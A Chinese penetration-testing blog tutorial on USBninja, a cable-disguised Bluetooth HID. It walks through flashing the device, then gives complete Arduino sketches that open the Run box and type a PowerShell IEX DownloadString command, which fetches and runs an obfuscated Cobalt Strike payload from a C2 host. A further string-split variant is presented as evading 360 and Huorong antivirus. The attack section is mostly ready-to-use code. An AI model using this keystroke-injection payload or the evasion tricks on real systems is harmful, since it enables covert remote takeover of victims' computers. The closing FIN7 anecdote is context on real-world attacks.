近源渗透测试之USBninja实战
2020-07-15

1.USBninja介绍

USBninja是一种伪装成数据线的蓝牙远控HID(Human Interface Device)。
image.png
它的外形跟普通的数据线一模一样,有Micro、 Type C 、Lightning三种数据线形式。并且可以正常给手机、平板甚至PC机进行供电甚至传输数据。但是收到蓝牙遥控器(BLE4.0,理论传输距离100m)或者手机APP发起指令时,它就会执行一系列模拟键盘输入或鼠标点击操作,隐蔽传递的payload进行攻击。
不久前,USBninja发布了自己的Pro版本,增加了手机自定义payload,支持了更多的payload,使用了BLE 5.1,最大传输距离达到了300m。
image.png
相对于传统的U盘型的BADUSB,如RUBBER DUCKY、Arduino Leonardo、Digispark、WHID等。USBninja更隐蔽、更实用。
image.png
同样的伪装数据线的还有国内的HackUSB cable。
它的缺点也很显而易见,贵。
image.png
相比较,最便宜的HID——Digispark淘宝才几块钱左右。
image.png

2.环境安装

首先下载安装Arduino
https://www.arduino.cc/en/Main/Software
image.png
下载安装USBninja驱动程序
https://usbninja.com/drivers\_tools/USBninja\_BOOT\_driver.zip
打开Arduino的文件—首选项
image.png
在附加开发板管理网站输入
http://usbninja.com/arduino/package\_USBNinja\_index.json
image.png
打开工具—开发板管理器,会自动加载usbninja的开发板信息,点击安装。
image.png
安装成功后,就可以直接在工具—开发板看到usbninja了。
image.png

3.烧录程序

在文件—示例—NinjaKeyboard中选择BLERemoteKeyboard,这是usbninja官方提供的代码。
image.png
默认的示例文件代码:
image.png
点击上传后,会等待60秒钟。
image.png
这个时候将磁环贴近usbninja的usb塑料处,并且插入电脑。注意:只有用贴上磁环数据线才会进入烧录模式,先插入电脑后贴上磁环也不行。
image.png
插入后就可以取下磁环了,并且程序会进行烧录。
image.png
到此为止,程序就烧录成功了。
插入电脑进行测试,当按下A时,会win+R 输入notepad打开记事本,并且进行输入,当按下B时,会输入另外一行。
image.png

4.实战CS上线

Badusb可以实现很多功能,其中最主要的就是执行恶意代码,只要向目标植入了恶意代码,那么几乎所以操作我们都可以显示了。这里我们就演示一次如何利用USBninja上线cobaltstrike。
首先我们通过cobaltstrike生成payload,为了方便执行和免杀,我选择生成powershell的payload。
image.png
接下来我们对生成的powershell文件进行免杀。
可以使用InvokeObfuscation或者xencrypt。
我这里使用的是xencrypt
https://github.com/the-xentropy/xencrypt
image.png
混淆66次后,免杀效果就很好了。
混淆前:
image.png
混淆后:
image.png
缺点是生成的文件比较大。
image.png
免杀好ps1文件后,接下来开始编写烧录程序。
思路很简单,win+R调出运行框,然后输入powershell IEX(New-Object Net.WebClient).DownloadString(“http://x.x.x.x/2.ps1")从服务器下载运行ps1文件。
最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <NinjaKeyboard.h>
void setup() {}
void loop() {}
void payloadA()
{
USBninjaOnline();
NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.print(F("powershell IEX(New-Object Net.WebClient).DownloadString('http://c2.mtfly.net/2.ps1')"));
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.end();
USBninjaOffline();
NinjaKeyboard.begin();
}
void payloadB(){}

我测试机安装了360安全卫士+火绒,当执行代码时,360进行了风险提示。
image.png
这里面我们有两种解决方案,第一种我们可以通过usbninja模拟鼠标操作,点击“允许运行”。第二种我们混淆执行的命令,绕过360。
我这里采用了第二种方式,将win+R后输入的代码稍作混淆,修改为:

1
powershell.exe ”$a1='IEX ((new-objectnet.webclient).downl';$a2='oadstring(''http://c2.mtfly.net/2.ps1''))';$a3="$a1,$a2";IEX(-join $a3)""

image.png
修改烧录程序时,要注意对双引号要进行转义,最终烧录的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <NinjaKeyboard.h>
void setup() {}
void loop() {}
void payloadA()
{
USBninjaOnline();
NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.print(F("powershell \"$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(\''http://c2.mtfly.net/2.ps1\''))';$a3=\"$a1,$a2\";IEX(-join $a3)\""));
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.end();
USBninjaOffline();
NinjaKeyboard.begin();
}
void payloadB(){}

最后成功绕过360安全卫士+火绒杀毒软件,成功上线。
image.png

5.后记

前段时间看到了一篇新闻:
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/
国外安全研究员发现黑客组织FIN7(主要攻击酒店和零售业的APT组织。)将BADUSB伪装礼品卡对目标发起攻击。
image.png
黑客通过给客户寄BADUSB,当用户将其插入电脑后,会自动执行powershell脚本,下载并植入恶意程序,从而控制目标主机。
image.png
随着技术的发展,各种伪装HID设备层出不穷。
有伪装在鼠标内的:
image.png
伪装成USB插头的小礼品的:
image.png
相信在不久的将来,我们会在各种APT攻击、甚至护网演练中看到更多的HID攻击的应用。

2020-07-15